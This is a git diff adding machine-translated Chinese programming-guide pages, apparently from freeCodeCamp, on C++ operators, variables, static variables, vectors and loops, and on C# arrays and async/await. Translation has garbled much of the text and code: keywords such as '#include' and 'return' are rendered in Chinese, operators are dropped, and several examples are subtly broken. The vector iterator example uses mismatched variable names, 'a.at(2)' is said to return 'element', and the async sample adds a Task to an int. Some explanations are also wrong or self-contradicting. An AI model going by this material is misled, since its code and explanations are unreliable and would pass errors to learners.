+ 
+    // If number is not positive, then if statement is skipped a program continues 
+    cout << "This step is always printed" << endl; 
+ 
+    return 0; 
+  } 
+```
+
+**输出：**
+
+输出1：
+```
+Enter a number: 5 
+ You have entered a positive number: 5 
+ This step is always printed 
+ ``` 
+ This is the output when the number entered is positive. 
+ 
+ OUTPUT 2: 
+```
+
+输入一个数字：-1 始终打印此步骤 \`\`\` 这是输入数字为负数时的输出。
+
+[亲自尝试一下代码吧！ :)](https://repl.it/Mg9X)
+
+_祝贺。祝贺。这是关于IF声明的文章的结尾_
+
+**祝大家好运**
+
+**快乐的编码！ :)**
+
+**随意在FreeCodeCamp的GitHub页面或[FreeCodeCamp的论坛](https://forum.freecodecamp.org/)上询问任何问题[。](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/tokens-operators/index.md b/client/src/guide/chinese/cplusplus/tokens-operators/index.md
new file mode 100644
index 0000000000..cb8f4287d7
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/tokens-operators/index.md
@@ -0,0 +1,186 @@
+---
+title: Operators
+localeTitle: 运营商
+---
# 经营者：
+
+*   操作员允许您对数据执行操作。
+*   正在操作的数据称为_操作数_ 。
+*   C ++中不同类型的运算符是：
+*   _OPERANDS_是操作员执行某些命令的数据。
+*   运算符有3种类型：一元（适用于1个操作数），二元（适用于2个操作数），三元（适用于3个操作数）。
+
+### 1 I / O操作符 -
+
+*   这些运算符允许您直接输入和输出。
+    
+    ## 输入曝气器“>>”##
+    
+    用于从标准输入读取数据（“cin”语句）。
+    
+    ## 输出运算符“<<”
+    
+    用于在`cout`语句中发送输出。
+    
+
+### 2算术运算符 -
+
+*   这些运算符允许您执行基本的算术运算。
+
+1.  `+`运算符_添加_两个操作数。
+    
+2.  `-`运算符_减去_两个操作数。
+    
+3.  `*`运算符将两个操作数_相乘_ 。
+    
+4.  `/`运算符_除以_并给出两个操作数的_商_ 。
+    
+5.  `%`运算符_除以_并给出两个操作数的_其余部分_ 。 （或者，对于更具数学倾向的读者， `a % b`基本上是“a mod b”的结果
+    
+    ### 使用算术运算符的示例：
+    
+    \`\`\`CPP
+    
+
+# 包括
+
+使用命名空间std;
+
+int main（） { int a = 5; //第一个操作数 int b = 10; //第二个操作数
+```
+    cout << "+ operator " << a+b << "\n"; //Add 
+    cout << "- operator " << ab << "\n"; //Subtract 
+    cout << "* operator " << a*b << "\n"; //Multiply 
+    cout << "/ operator " << b/a << "\n"; //Find Quotient 
+    cout << "modulus operator " << b%a << "\n"; //Find remainder 
+ 
+    return 0; 
+```
+
+} \`\`\`
+
+输出：
+```
++ operator 15 
+ - operator -5 
+ * operator 50 
+ / operator 2 
+ modulus operator 0 
+```
+
+[亲自尝试一下代码吧！ :)](https://repl.it/Mge9)
+
+### 增量运算符：
+
+*   `++`被称为增量运算符。它将整数变量的值增加1。
+
+2种增量：
+
+*   预增量首先递增该值然后使用它。示例： `int a ; ++a;`
+*   后增量首先使用变量然后递增它。示例： `int b; b++;`
+
+### 减量运算符：
+
+*   `--`被称为减量运算符。它将整数变量的值减1。
+
+减少的两种类型：
+
+*   预递减首先递减该值然后使用它。示例： `int a ; --a;`
+*   后递减首先使用变量然后递减它。示例： `int b; b--;`
+
+递增和递减运算符的示例：
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+        int a = 3 ,b = 4; 
+ 
+         // INCREMENT 
+        cout<< "Value of int a PRE INCREMENTED : " << ++a << "\n"; 
+        cout<< "Value of int b POST INCREMENTED : " << b++ << "\n"; 
+        cout<< "Value of b is changed after using once : " << b << "\n"; 
+ 
+         // DECREMENT 
+        cout << "\n"; //go to next line 
+        a = 10; //Assigning a new value to a 
+        b = 10; //Assigning a new value to b 
+        cout << "Value of int a PRE DECREMENTED : " << --a << "\n"; 
+        cout << "Value of int b POST DECREMENTED : " << b-- << "\n"; 
+        cout << "Value of b is changed after using once : " << b << "\n"; 
+ 
+        return 0; 
+ } 
+```
+
+输出：
+```
+Value of int a PRE INCREMENTED : 4 
+ Value of int b POST INCREMENTED : 4 
+ Value of b is changed after using once : 5 
+ 
+ Value of int a PRE DECREMENTED : 9 
+ Value of int b POST DECREMENTED : 10 
+ Value of b is changed after using once : 9 
+```
+
+[亲自尝试一下代码吧！ :)](https://repl.it/Mgg4/2)
+
+### 3：关系运算符：
+
+*   这些运算符告诉我们两个操作数之间的关系并返回一个布尔值（0或1）。如果关系为`true`则结果为1。如果实现是假的，则结果为0。
+    
+*   6个关系运算符是：
+    
+    1.  小于`<`
+    2.  大于`>`
+    3.  小于或等于`<=`
+    4.  大于或等于`>=`
+    5.  等于`==`
+    6.  不等于`!=`
+
+### 4：逻辑运算符：
+
+*   这些运算符组合了逻辑运算的表达式他们是 ：
+
+1.  逻辑AND `&&` ：如果两个值都为真，则求值为true。
+    
+2.  逻辑OR `||` ：如果任何值为true，则求值为true。
+    
+3.  逻辑不`!` ：如果_表达式_为true，则_表达式_为false。该运算符反转了真值，是一元运算符。
+    
+    ### 5.三元运营商：
+    
+    `?:`运算符是三元运算符，或_条件运算符_ ，因为它可以用来替换`if else`语句，甚至是`if else if`语句。 语法：
+    
+
+`condition ? ValueIfTrue : ValueIfFalse` 。这扩展到：
+
+```cpp
+if(condition) 
+ ValueIfTrue; 
+ else ValueIfFalse; 
+```
+
+调用`ValueIfTrue`值有点错误，因为它不必是数字。像这样的东西：
+
+`condition ? FirstLevelTrueValue : ConditionIfFalse ? SecondLevelTrueValue : SecondLevelFalseValue`也有效，并且`if else if`语句被解释为以下`if else if`语句：
+
+```cpp
+if(condition) 
+ FirstLevelTrueValue; 
+ else if(ConditionIfFalse) 
+ SecondLevelTrueValue; 
+ else SecondLevelFalseValue; 
+```
+
+类似地，嵌套的`if`语句也可以使用三元运算符。
+
+_Camper，你现在知道什么是令牌了。下一篇文章将是关于_ _恭喜_
+
+**祝大家好运**
+
+**快乐的编码！ :)**
+
+**随意在FreeCodeCamp的GitHub页面或[FreeCodeCamp的论坛](https://forum.freecodecamp.org/)上询问任何问题[。](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/tokens-variables/index.md b/client/src/guide/chinese/cplusplus/tokens-variables/index.md
new file mode 100644
index 0000000000..087f7e6101
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/tokens-variables/index.md
@@ -0,0 +1,208 @@
+---
+title: Tokens Part 1
+localeTitle: 代币第1部分
+---
### 什么是令牌？
+
+标记是程序的最小单元，对编译器很重要。有不同种类的令牌：
+
+*   关键词
+    
+*   运营商
+    
+*   标点符号
+    
+*   字面
+    
+*   身份标识
+    
+*   **令牌的组合形成表达**
+    
+
+### 什么是变量？
+
+*   教科书定义：变量是指定数据可以更改的内存位置。
+    
+*   但我希望你把变量想象成一个类似于盒子的东西，如下所示： ![图](https://i.imgur.com/YdbgWHL.png)
+    
+
+所以，例如： 我正在转移到一个新的地方，我需要把我的东西安排在盒子里。因此，我想到了两件事情， **盒子里会存储什么样的东西，所以盒子的大小是已知的（数据类型）** ， **我如何识别盒子？（命名变量）**  
+因此，我们知道C ++中的变量需要_名称_和_数据类型，_并且可以更改存储在其中的值。
+
+### C ++中的数据类型：
+
+在c ++中声明变量时，它们必须具有您稍后将要使用的名称，值（常量或非常量）和类型。 该类型将告诉编译器变量可以使用的值，可能的操作并将在memmory中保存一定的空间。 在c ++中有两种类型的数据：
+
+*   简单的类型
+*   结构类型
+
+### 简单的数据类型
+
+*   布尔 - 布尔 像开关一样工作，可以打开或关闭。
+*   人物 - 炭火 存储单个字符。
+*   整数 - 整数 存储[整数](https://en.wikipedia.org/wiki/Integer) 。
+*   浮点 - 浮点数 他们可以使用小数。
+*   双浮点 - 双 浮点型的双精度。
+
+在这里你可以看到一些例子：
+
+```cpp
+bool GameRunning = true; 
+ char a; 
+ int x = 2; 
+```
+
+#### 这些类型也可以使用修饰符进行修改，例如：
+
+签 无符号 短 长
+
+### 结构数据类型
+
+#### 身份标识。
+
+*   标识符是赋予变量或类或函数或任何用户定义函数的名称。
+
+## 命名变量的规则：
+
+*   用AZ或az中的字母开始命名。
+*   数字可以跟随您的第一个字母，但我们无法开始用数字命名。
+*   不允许使用空格或特殊字符，而是使用UNDERSCORE \_。
+
+#### 声明变量：
+
+语法如下 < _数据类型_ > < _变量名称_ >; 要么 < _data type_ > < _variable name_ > = < _value_ >;如果我们也想初始化变量。
+
+例如 ： `cpp int a ; //declaring a variable named 'a' of type integer. a=4; //initializing a variable int b = 5 ; //declaring and initializing a variable 'b' of type integer.`
+
+**声明变量的示例：**
+
+```cpp
+int a9; 
+ char A; 
+ double area_circle; 
+ long l; 
+```
+
+**声明变量的错误方法** -
+
+```cpp
+int 9a; 
+ char -a; 
+ double area of circle; 
+ long l!!; 
+```
+
+*   变量名称不能以数字开头
+*   不允许有特殊字符
+*   不允许有空格
+
+您可以想象不同尺寸的不同盒子，并将不同的东西存储为不同的变量。
+
+**注意：**
+
+1.  **C ++编译器忽略空格，它们通常用于美化代码，以便任何程序员调试或理解代码。**
+2.  **如果未初始化变量，则它包含垃圾值。让我举个例子：**
+
+### 变量范围
+
+所有变量都具有其功能区域，并且在该边界之外它们不保持其值，该边界称为变量的范围。对于大多数情况，它在花括号之间，其中变量被声明为存在变量，而不是在变量之外。我们稍后会研究存储类，但到目前为止，我们可以将变量大致分为两种主要类型，
+
+\*全球变量。
+
+\*局部变量。
+
+#### 全局变量
+
+全局变量是那些，一旦声明并且可以在程序的整个生命周期中由任何类或任何函数使用。它们必须在main（）函数之外声明。如果仅声明，则可以在程序生命周期的不同时间为它们分配不同的值。但即使它们在main（）函数之外同时声明和初始化，也可以在程序的任何一点为它们分配任何值。
+
+示例：仅声明，未初始化。
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ int x;                // Global variable declared 
+ int main() 
+ { 
+ x=10;                 // Initialized once 
+ cout <<"first value of x = "<< x; 
+ x=20;                 // Initialized again 
+ cout <<"Initialized again with value = "<< x; 
+ } 
+```
+
+#### 局部变量
+
+局部变量是仅存在于其声明的花括号之间的变量。在外面它们不可用并导致编译时错误。
+
+示例：
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+ int i=10; 
+ if(i<20)        // if condition scope starts 
+  { 
+    int n=100;   // Local variable declared and initialized 
+  }              // if condition scope ends 
+ cout << n;      // Compile time error, n not available here 
+ } 
+```
+
+### 常数变量
+
+常量变量是无法更改的变量。例如，如果您的代码中需要“pi”，则不希望在初始化后更改它。
+
+示例：
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ const double PI = 3.14159253; 
+ int main() 
+ { 
+ //Calculating the area of a circle, using user provided radius 
+ double radius; 
+ //input and output explained in other guide 
+ cin>>radius; 
+ //pi*r^2 
+ double area = PI*radius*radius; 
+ cout<<area<<endl; 
+ } 
+```
+
+### 变量中的垃圾值
+
+如果未初始化变量，则它包含垃圾值。例如：
+
+所以就盒子而言，你可以把它想象成 -
+
+![图](https://i.imgur.com/YdbgWHL.png)
+
+\`\`\`CPP ＃包括 使用命名空间std; int main（） { int a; cout <<“垃圾值中的一个：”<< a << endl; //声明类型为integer的名为'a'的变量 一个= 5; //初始化变量。 cout <<“一个新的价值”<< a << endl;
+
+} \`\`\`
+
+### 输出是：
+```
+Garbage value in a : 0 
+ New value in a :  5 
+```
+
+正如您所看到的，在我们给它一个值（这里，它是0）之前，已经有一个值存储在'a'中。这应该保留在每个程序员的脑海中，这样当使用变量时，它们不会创建逻辑错误并打印垃圾值。
+
+[亲自尝试一下代码吧！ :)](https://repl.it/Mg7j)
+
+#### 关键字：
+
+_关键字是为编译器传达特殊含义的保留字。它们**不能**用于在c ++中命名。_ 关键字示例： 内联，运算符，私有int，double，void，char，模板，使用，虚拟，休息，案例，开关，朋友等。
+
+**这些关键字中的每一个都用于C ++中的特殊功能。**
+
+_令牌第1部分结束了。在Tokens的[第2部分](https://guide.freecodecamp.org/cplusplus/tokens-part-II)见到你的露营者:)_
+
+**祝大家好运**
+
+**快乐的编码！ :)**
+
+**随意在FreeCodeCamp的GitHub页面或[FreeCodeCamp的论坛](https://forum.freecodecamp.org/)上询问任何问题[。](https://forum.freecodecamp.org/)**
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/tokens-variables/static-variable-info/index.md b/client/src/guide/chinese/cplusplus/tokens-variables/static-variable-info/index.md
new file mode 100644
index 0000000000..a232078d58
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/tokens-variables/static-variable-info/index.md
@@ -0,0 +1,120 @@
+---
+title: Variables
+localeTitle: 变量
+---
+让我们讨论一些被称为变量的东西。变量就像一个桶。你可以把东西放进去然后改变它 之后需要的时候。 在C ++中，有许多类型的变量，如整数，字符串，布尔值等等。 让我们看一个使用整数变量的简单程序。整数存储正数，负数或零的整数。整数不是分数，例如1 / 2,1 / 4和1/5。让我们看一个使用整数的简单程序 变量。
+
+```cpp
+#include <iostream> 
+ using namespace std ; 
+ int main() 
+ { 
+    int a;          // Declare an integer variable a 
+    a = 5;          // Assign value of 5 to variable a 
+    cout << a;      // Display the value of variable a which contains 5 
+    return 0; 
+ } 
+```
+
+执行此程序时，屏幕上会显示5
+
+*   请注意，在上面的程序中//放在行之后。符号“//”用于注释我们的代码。符号后面的代码 “//”不会在其放置的行中被执行。
+    
+*   在第5行，声明了一个简单的整数变量。
+    
+*   在第6行，值5被赋给变量a。现在每当我们在程序中使用变量a时，它的值将为5 除非我们改变它。
+    
+*   在第7行，我们显示变量a的值，并在屏幕上打印5。
+    
+
+### 变量范围
+
+所有变量都具有其功能区域，并且在该边界之外它们不保持其值，该边界称为变量的范围。对于大多数情况，它在花括号之间，其中变量被声明为存在变量，而不是在变量之外。我们稍后会研究存储类，但到目前为止，我们可以将变量大致分为两种主要类型，
+
+\*全球变量。
+
+\*局部变量。
+
+#### 全局变量
+
+全局变量是那些，一旦声明并且可以在程序的整个生命周期中由任何类或任何函数使用。它们必须在main（）函数之外声明。如果仅声明，则可以在程序生命周期的不同时间为它们分配不同的值。但即使它们在main（）函数之外同时声明和初始化，也可以在程序的任何一点为它们分配任何值。
+
+示例：仅声明，未初始化。
+
+```cpp
+include <iostream> 
+ using namespace std; 
+ int x;                // Global variable declared 
+ int main() 
+ { 
+ x=10;                 // Initialized once 
+ cout <<"first value of x = "<< x; 
+ x=20;                 // Initialized again 
+ cout <<"Initialized again with value = "<< x;` 
+ } 
+```
+
+#### 局部变量
+
+局部变量是仅存在于其声明的花括号之间的变量。在外面它们不可用并导致编译时错误。
+
+示例：
+
+```cpp
+include <iostream> 
+ using namespace std; 
+ int main() 
+ { 
+ int i=10; 
+ if(i<20)        // if condition scope starts 
+  { 
+    int n=100;   // Local variable declared and initialized 
+  }              // if condition scope ends 
+ cout << n;      // Compile time error, n not available here 
+ } 
+```
+
+现在让我们来看看一种新型的变量 -
+
+#### 静态变量
+
+静态变量：当一个变量声明为static时，它的空间将被分配给程序的生命周期。即使多次调用该函数，静态变量的空间也只分配一次，前一次调用中的变量值通过下一个函数调用传递。这对于在C / C ++或需要存储先前函数状态的任何其他应用程序中实现协同程序非常有用。 通俗地说，这意味着当超出范围时，正常变量会失去它的标识（值），但静态变量具有全局范围并保留其值直到程序结束，但与全局变量不同，没有必要声明它在计划开始时。
+
+#### 额外-
+
+Static是C ++中的一个关键字，用于为元素赋予特殊的特征。静态元素在静态存储区域的程序生命周期中仅分配存储一次。他们有一个范围，直到程序生命周期。
+
+#### 码-
+```
+#include <iostream> 
+ #include <string> 
+ using namespace std; 
+ 
+ void howstaticworks() 
+ { 
+    static int count = 0;  // static variable 
+    cout << count << " "; 
+ 
+    /* value is updated and 
+     will be carried to next 
+     function calls*/ 
+    count++; 
+ } 
+ 
+ int main() 
+ { 
+    for (int i=0; i<5; i++) 
+        howstaticworks(); 
+    return 0; 
+ } 
+```
+
+#### 试试自己
+
+只需复制代码并将其粘贴到给定的链接中即可。 在IDE上运行 - https://ideone.com/
+
+输出： 0 1 2 3 4
+
+您可以在上面的程序中看到变量count被声明为static。因此，它的值通过函数调用来传递。每次调用函数时，变量计数都不会被初始化。
+
+让我们通过删除“static”关键字来尝试相同的代码并猜测输出并将其与IDE上的一个进行比较。 静态现在转换为正常变量
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/vector/index.md b/client/src/guide/chinese/cplusplus/vector/index.md
new file mode 100644
index 0000000000..efa477452b
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/vector/index.md
@@ -0,0 +1,211 @@
+---
+title: Vectors
+localeTitle: 矢量
+---
+## 矢量
+
+C ++ `vector`是C ++中最常用的容器之一。容器是一种数据结构，它存储一组对象，这些对象可以从有序（如`vector` ！）到无序（如`set` ）变化。所有C ++容器都有一组不同的函数，允许您访问该集合中的对象，修改和循环该数据结构中的元素。
+
+向量类似于Java中的ArrayLists，因为您不必指定容器的长度。与必须定义大小的数组相比，它的大小取决于其内容。
+
+`std::vector`是C ++标准库的一部分（因此前缀为`std::` ，允许您存储相同数据类型的连续数据。注意： **向量中的所有对象必须具有相同的数据类型**
+
+存储在矢量中的数据类型位于vector关键字旁边的尖括号内。例如，如果要存储字符串集合，则向量将为`std::vector<std::string> vector_name`
+
+_注意_ ：每当使用向量时，您必须包含向量库！
+
+`#include <vector>`
+
+### 矢量建筑
+
+有许多方法可以构建一个向量。
+
+使用初始化列表 - 对象列在一组大括号中： `{ }`
+
+```cpp
+std::vector<int> a{1, 2, 3, 4, 5}; // a is a vector of 5 ints: 1, 2, 3, 4 and 5 
+ std::vector<std::string> b{"hello", "world"}; // b is a vector of 2 strings: "hello" and "world" 
+ std::vector<bool> v; // v is an empty vector 
+```
+
+从另一个向量构造它（这被称为复制构造）
+
+```cpp
+std::vector<double> a{1.0, 2.0, 3.0}; 
+ std::vector<double> b(a); // b is a vector of 3 doubles: 1.0, 2.0 and 3.0 
+```
+
+使用相同的元素初始化它：
+
+```cpp
+std::vector<int> a(100, -1); // a is a vector of 100 elements all set to -1 
+```
+
+### 矢量迭代器
+
+迭代器可以被认为是专门用于导航容器的指针 （如矢量）。最重要的迭代器是`begin()`和`end()` 。 `begin()`返回指向向量中第一个项的指针，而`end()`指向 到向量中最后一项之后的一个位置。因此循环通过 矢量可以做到：
+
+```cpp
+std::vector<int> vec{1, 2, 3}; 
+ 
+ for(auto vec_it = vec.begin(); vec_it != vec.end(); it++){ 
+    // since vec_it is a pointer and points to the memory address of the item 
+    // inside the vector, vec_it must be dereferenced using '*' 
+    std::cout << *it << '\n'; 
+ } 
+ /*  Output 
+    1 
+    2 
+    3 
+ */ 
+```
+
+### 修改矢量
+
+将项目推送到矢量：
+
+```cpp
+std::vector<int> vec; // constructs an empty vector 
+ 
+ for (int i = 0; i < 10; i = i + 2){ 
+    vec.push_back(i); 
+ } 
+ // vec now holds [0, 2, 4, 6, 8] 
+```
+
+将项目插入特定位置略有不同。 C ++向量插入 函数适用于迭代器。它会在给定项之前将给定项插入一个位置 迭代器。
+
+```cpp
+std::vector<unsigned int> vec{3, 400, 12, 45}; 
+ 
+ auto iter = vec.begin() + 2; // iter now points to '12' 
+ vec.insert(iter, 38); // inserts '38' before '12' 
+ 
+ // vec: [3, 400, 38, 12, 45] 
+```
+
+### 元素访问
+
+标准库提供了用于访问向量中特定元素的不同函数。
+
+```cpp
+std::vector<std::string> a{"test", "element", "access"}; 
+ 
+ std::string first_item = a.front(); // gets the first item of the vector ("test") 
+ std::string last_item = a.back(); // gets the last item in the vector ("access") 
+ 
+ // To get an element at a specific index (remember: vector indices start at 0) 
+ std::string second_item = a.at(2); // gets "element" 
+ // OR 
+ std::string second_item = a[2]; // gets "element" 
+```
+
+### 循环在`vector`元素
+
+循环使用C ++ `std::vector`中的元素与在JavaScript或Ruby中的向量中循环元素完全不同。由于C ++是C的精简抽象，因此您只能使用称为迭代器的这些漂亮的小变量来遍历元素以访问每个元素。 迭代器通常以指针的形式出现，指针是存储另一个变量的内存地址的变量。您可以[在此处](https://www.tutorialspoint.com/cplusplus/cpp_pointers.htm)了解有关指针的更多信息。 但是，因为迭代器充当指针（反之亦然），为了查看它们指向的内容，您需要将其取消引用为适当类型的变量。 我们如何做到这一点？ 这里。我们。走！
+
+```cpp
+std::vector<std::string> a{"test", "element", "access"}; 
+ for(auto it = v.begin(); it != v.end(); it++) { //notice use of auto keyword 
+    cout<<*it<<endl; //Will print out string that the iterator is currently ppointing to 
+ } 
+```
+
+从这里开始，你可以做各种很酷的事情，比如操纵矢量或者随便点一下它的顺序！
+
+### 一些有用的成员函数
+
+标准模板库（STL）还为您提供了不同的_方法_ ：
+
+```cpp
+std::vector.size(); // returns the size of the vector (the number of positions in the vector) 
+ std::vector.begin(); // returns an iterator which is a pointer to the beginning of the vector 
+ std::vector.end(); // returns an iterator which is a pointer to the end of the vector 
+ std::vector.empty(); // returns true if the vector is empty, otherwise returns false. 
+ std::vector.front(); // returns the first element of the vector. 
+ std::vector.back(); // returns the last element of the vector. 
+ std::vector.push_back(n); // inserts the element "n" to the end of the vector. 
+ std::vector.pop_back(n); // removes the last element of the vector 
+```
+
+### 矢量迭代器
+
+迭代器提供了另一种访问向量中元素的方法。
+
+迭代器声明。
+
+```cpp
+std::vector<int> v; 
+ //Iterator delcaration for the above vector will correspond to 
+ std::vector<int>::iterator it; 
+```
+
+使用迭代器使用for循环打印向量的元素
+
+```cpp
+for(it=v.begin(); it!=v.end(); ++it) 
+ //std::vector::begin and std::vector::end return iterator pointing to first and last element of the vector respectively. 
+  cout<<*it; 
+```
+
+### 通过向量迭代
+
+有不同的方法来迭代向量并访问其内容。以下形式是等效的，第一个涉及使用基于范围的表达式（自C ++ 11以来），第二个使用迭代器，最后一个是基于索引的迭代
+
+\`\`\`cpp
+
+# 包括
+
+# 包括
+
+//首先声明向量 的std ::矢量 myVector {1,2,3,4,5}; // a是5个整数的向量：1,2,3,4和5
+
+//使用基于范围的循环（自C ++ 11起） for（int element：myVector）{//读取类似于“myVector中的每个元素” std :: cout <<“元素是”<< element << std :: endl; }
+
+//使用迭代器 的std ::矢量 :: iterator它; //声明迭代器 for（it = myVector.begin（）; it！= myVector.end（）; ++ it）{ std :: cout <<“元素是”<< \* it << std :: endl; //取消引用迭代器以访问其数据 }
+
+//使用索引 用于（标准::矢量 :: size\_type i = 0; i！= myVector.size（）;我++）{ std :: cout <<“元素是”<< myVector \[i\] << std :: endl; //取消引用迭代器以访问其数据 }
+```
+### Sorting A Vector In Ascending Order 
+ Sorting a vector based on ascending order can be done with the help of Sort() in C++. 
+```
+
+CPP
+
+# 包括
+
+# 包括
+
+# 包括
+
+使用命名空间std;
+
+int main（）{
+
+向量 v {10,5,82,69,64,70,3,42,28,0}; sort（v.begin（），v.end（））;
+
+cout <<“向量内容按升序排序：\\ n”; for（int e：v）{ cout << e <<“”; }
+
+返回0; }
+```
+### Sorting Vector In Descending Order 
+ Sorting Vector in descending order can be done with the help of third argument namely greater<int>() in Sort() in C++. 
+```
+
+CPP
+
+# 包括
+
+# 包括
+
+# 包括
+
+使用命名空间std;
+
+int main（）{
+
+向量 v {10,5,82,69,64,70,3,42,28,0}; sort（v.begin（），v.end（），更大 （））;
+
+cout <<“向量内容按升序排序：\\ n”; for（int e：v）{ cout << e <<“”; }
+
+返回0; } \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/while-loop/index.md b/client/src/guide/chinese/cplusplus/while-loop/index.md
new file mode 100644
index 0000000000..0a65574f1e
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/while-loop/index.md
@@ -0,0 +1,37 @@
+---
+title:While-loop
+localeTitle: undefined
+---
+只要给定条件为真，while循环语句就会重复执行目标语句。
+
+句法： while（condition）{ 声明（S）; }
+
+while循环的一个关键点是循环可能永远不会运行。 当测试条件并且结果为假时，将跳过循环体并且将执行while循环之后的第一个语句。
+
+例：
+
+```C++
+#include <iostream> 
+ using namespace std; 
+ 
+ int main () { 
+   // Local variable declaration: 
+   int a = 10; 
+ 
+   // while loop execution 
+   while( a < 20 ) { 
+      cout << "value of a: " << a << endl; 
+      a++; 
+   } 
+ 
+   return 0; 
+ } 
+```
+
+输出：
+
+价值：10 价值：11 价值：12 价值a：13 a的值：14 价值a：15 价值：16 价值：17 价值：18 价值：19
+
+### 来源
+
+www.tutorialspoint.com
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/array/index.md b/client/src/guide/chinese/csharp/array/index.md
new file mode 100644
index 0000000000..d3d2bb6356
--- /dev/null
+++ b/client/src/guide/chinese/csharp/array/index.md
@@ -0,0 +1,47 @@
+---
+title: Arrays
+localeTitle: 数组
+---
+# 数组
+
+数组用于存储相同类型的数据集合。这可以用作包含多个值或变量集合的单个变量。
+
+# 数组规则
+
+数组从零开始。数组的第一个元素是0，第二个元素是1，第三个元素是2，依此类推。
+
+数组必须具有相同的数据类型。您可以在数组中使用任何数据类型（例如int，double，float，string，enum）
+
+必须首先声明并初始化新的Array，然后才能调用和访问它。
+
+# 声明一个数组
+
+使用以下格式声明数组： `dataType [] nameOfArray;`
+
+# 初始化一个数组
+
+使用以下格式初始化数组。此方法还声明数组并指出要将多少值存储到数组中。
+
+`dataType [] nameOfArray = new nameOfArray[numberOfElements];`
+
+# 将值分配给数组
+
+您可以使用以下格式直接将值分配给元素：
+
+`nameOfArray[2] = 50;`
+
+将值50直接赋值给元素\[2\]
+
+您可以使用以下格式声明数组时一次分配多个值：
+
+`dataType [] nameOfArray = {5,17,19,92};`
+
+将值5分配给元素\[0\]，将17分配给元素\[1\]，将19分配给元素\[2\]，将92分配给元素\[3\]。
+
+您可以使用以下格式一次声明，初始化和分配数组中的值：
+
+`dataType [] nameOfArray = new nameOfArray[numberOfElements] {value1,value2,value3,value4};`
+
+您可以使用以下格式将数组直接存储到另一个数组中：
+
+`int [] nameOfArray = new nameOfArray[4] {2,9,56,1280};` `int [] nameOfSecondArray = nameOfArray;`
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/async-await/index.md b/client/src/guide/chinese/csharp/async-await/index.md
new file mode 100644
index 0000000000..df852304df
--- /dev/null
+++ b/client/src/guide/chinese/csharp/async-await/index.md
@@ -0,0 +1,72 @@
+---
+title: Async / Await
+localeTitle: 异步/等待
+---
+# 异步/等待关键字
+
+C＃中的`async` / `await`关键字提供了管理资源密集型应用程序的便捷方法，这些应用程序在前端语言（如Javascript库）中更为常见。返回`Task<T>`类型的方法可以使用`async`关键字`async` ，并且当在UI处理程序或服务工作流中调用这些方法时，我们可以使用方法上的`await`来告诉C＃将控制权返回给它的调用者，直到后台工作完成了。通过对资源密集型调用产生控制，我们能够让UI更具响应性并使服务更具弹性。
+
+`async`和`await`的核心是`Task<T>`类。当与`async`关键字一起使用它作为方法的返回类型时，我们指示该方法已经承诺返回`T`类型的对象（对于不返回任何值的方法，使用`Task`作为返回类型） 。 `Task<T>`是一个复杂的主题，有关更多信息，请参阅官方文档： [Task Class](https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.task?view=netframework-4.7.1) 。
+
+一旦遇到`async`方法，工作将在线程池中排队执行，而调用者将继续执行而不等待`async`方法的返回值。但是，在大多数情况下，我们的UI和服务依赖于从`async`方法返回的值：例如，当我们使用`async`方法查询本地数据库时，我们最终想知道查询结果是什么并对其进行操作，同步。这是使用`await`关键字的地方：如果在调用`async`方法时使用`await`关键字，调用者将暂停执行，直到从`async`方法返回结果，并且表示父方法将继续执行而不等待调用者完成。话虽如此，任何使用`await`关键字的方法本身都必须是`async`函数 - 这也是由C＃编译器强制执行的，如果使用Visual Studio编写C＃代码，IDE会在方法违反`async-await`发出警告`async-await`合同。
+
+要了解有关使用promise模型处理异步的更多信息，请查看此维基百科页面： [通过Promises实现异步](https://en.wikipedia.org/wiki/Futures_and_promises)
+
+## 例子
+
+1.  将表单提交到服务器
+
+```csharp
+private readonly string url = 'http://localhost:3000/api/submit'; 
+ private readonly HttpContent formContent = new HttypContent(); 
+ 
+ // Update the formContent object while filling up the form. 
+ 
+ SubmitButton.Clicked += async (object, event) => 
+ { 
+  // When PostAsync is hit, the button control will release the UI, while the 
+  //   http post method is still waiting on server response. 
+  HttpClient httpClient = new HttpClient(); 
+  var response = await httpClient.PostAsync(url, formContent); 
+  Console.WriteLine(response.StatusCode); 
+ } 
+```
+
+2.  “锁存器”同步器
+
+```csharp
+public async Task<int> CalcDamage(Player player) 
+ { 
+  // CPU-intense method, calculate afflicted damage done to the 
+  //   Boss based on the damage types, Boss stats (from static data), 
+  //   player stats, etc. 
+  // ... 
+ } 
+ 
+ public static async Task<int> CalcTotalDamage(IEnumerable<Player> group) 
+ { 
+  var totalDamage = 0; 
+  foreach (Player player in group) 
+  { 
+    // each of the async methods are queued in the thread-pool and move on. 
+    totalDamage += CalcDamage(player); 
+  } 
+ 
+  // total damage done must be calculated from all players in the group 
+  //   before we return the result. 
+  return await Task.WhenAll(totalDamage); 
+ } 
+```
+
+## 备忘单
+
+*   等待：从后台异步调用中检索结果。
+*   await Task.WhenAny：如果任何排队任务完成，则继续。
+*   await Task.WhenAll：仅在所有排队任务完成后才继续。
+*   等待Task.Delay：在执行前保持一段时间。
+
+## 深入阅读：
+
+*   [异步编程](https://docs.microsoft.com/en-us/dotnet/csharp/async)
+*   [异步深入](https://docs.microsoft.com/en-us/dotnet/standard/async-in-depth)
+*   [asnyc的3个基本提示](https://channel9.msdn.com/Series/Three-Essential-Tips-for-Async)
\ No newline at end of file
diff --git a/client/src/guide/chinese/csharp/break/index.md b/client/src/guide/chinese/csharp/break/index.md
new file mode 100644
index 0000000000..11eb3d4087
--- /dev/null
+++ b/client/src/guide/chinese/csharp/break/index.md
@@ -0,0 +1,67 @@
+---
+title: Break statement
